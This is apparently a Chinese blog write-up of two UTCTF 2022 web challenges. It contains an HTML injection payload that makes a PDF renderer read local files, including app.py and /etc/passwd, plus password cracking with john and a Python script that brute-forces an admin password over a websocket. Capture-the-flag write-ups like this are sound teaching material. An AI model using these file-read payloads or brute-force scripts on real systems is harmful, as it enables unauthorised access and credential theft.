2022UTCTF

HTMLPDF

题目都还看到就被师傅们做出来了

通过使用

<b>Try Me!</b>
<iframe src="/proc/self/cwd/app.py" height="1600px" width="800px">

可以读到源码

from flask import *
import pdfkit
import subprocess
import time
import os
import spwd
import crypt
from hmac import compare_digest as compare_hash
app = Flask(__name__)
@app.route('/', methods=['POST','GET'])
def index():
if request.method == 'POST':
html_content = request.form.get('content')
if html_content is None:
return render_template('index.html')
if '/environ' in html_content:
# Don't let them read the flag from /proc/<pid>/environ
return 'Aren''t you sneaky? That''s a good idea, but not the intended solution, so keep trying :)'
# Filenames.
html = render_template('document.html', content=html_content)
uid = str(hash(time.time())) # Using a hash of the time ensures unique filenames between requests.
out_filename = uid+'.pdf'
html_filename = uid+'.html'
html_file = open(html_filename, 'w')
html_file.write(html)
html_file.close()
# Generate PDF.
TIMEOUT = '3'
subprocess.run(['xvfb-run', 'timeout', '--preserve-status', '-k', TIMEOUT, TIMEOUT, 'wkhtmltopdf','--enable-local-file-access', html_filename, out_filename])
# Cleanup and return result.
out_file = open(out_filename, 'rb')
output = out_file.read()
out_file.close()
#os.remove(out_filename)
#os.remove(html_filename)
response = make_response(output)
response.headers['Content-Type'] = 'application/pdf'
response.headers['Content-Disposition'] = 'inline; filename=document.pdf'
return response
return render_template('index.html')
@app.route('/admin', methods=['POST','GET'])
def adminLogin():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username is None or password is None:
return render_template('login.html')
# Check that username and password match a user in the system.
try:
pw1 = spwd.getspnam(username).sp_pwd
pw2 = crypt.crypt(password, pw1)
if compare_hash(pw2, pw1):
return render_template('login.html', msg=os.environ['FLAG'])
else:
return render_template('login.html', msg='Incorrect password!')
except KeyError:
# No such username.
return render_template('login.html', msg='Incorrect username!')
return render_template('login.html')
if __name__ == '__main__':
app.run(host='0.0.0.0')

存在同源策略,因此不允许直接跨目录实现文件读取,只能读取web目录下的,绕过方法:

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

拿到密码以后,发现使用弱密码加密,使用john爆破密码

img
john test_passwd

img

websocket

抓包抓不到东西,看起来是要用socket去连接,然后爆破密码吧

import asyncio
import websockets

async def hello():
with open("test_pa.txt","r") as f:
paswd=f.readlines()
for i in paswd:
uri = "ws://web1.utctf.live:8651/internal/ws"
async with websockets.connect(uri) as websocket:
await websocket.send('begin')
result = await websocket.recv()
#print(result)
await websocket.send('user admin')
await websocket.send('pass '+i.replace("\n",""))
result = await websocket.recv()
print(result)
print(f'pass {i}'.replace("\n",""))
if result!= "badpass":
print(i)
break


asyncio.get_event_loop().run_until_complete(hello())
Author

vague huang

Posted on

2022-03-12

Updated on

2022-05-07

Licensed under

Comments